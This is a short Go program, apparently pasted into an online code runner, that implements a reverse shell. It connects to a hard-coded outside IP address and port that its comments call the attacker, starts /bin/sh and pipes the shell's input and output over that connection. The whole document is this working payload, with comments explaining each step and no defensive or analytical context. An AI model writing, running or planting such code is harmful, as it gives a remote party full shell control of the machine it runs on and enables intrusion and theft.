Execute GO Language Online

package main
import (
    "net"       // requirement to establish a connection
    "os"        // requirement to call os.Exit()
    "os/exec"   // requirement to execute commands against the target system
)
func main() {
    // Connecting back to the attacker
    // If it fails, we exit the program
    conn, err := net.Dial("tcp", "209.58.185.105:50404")
    if err != nil {
        os.Exit(1)
    }
    // Creating a /bin/sh process
    cmd := exec.Command("/bin/sh")
    // Connecting stdin and stdout
    // to the opened connection
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Run the process
    cmd.Run()
}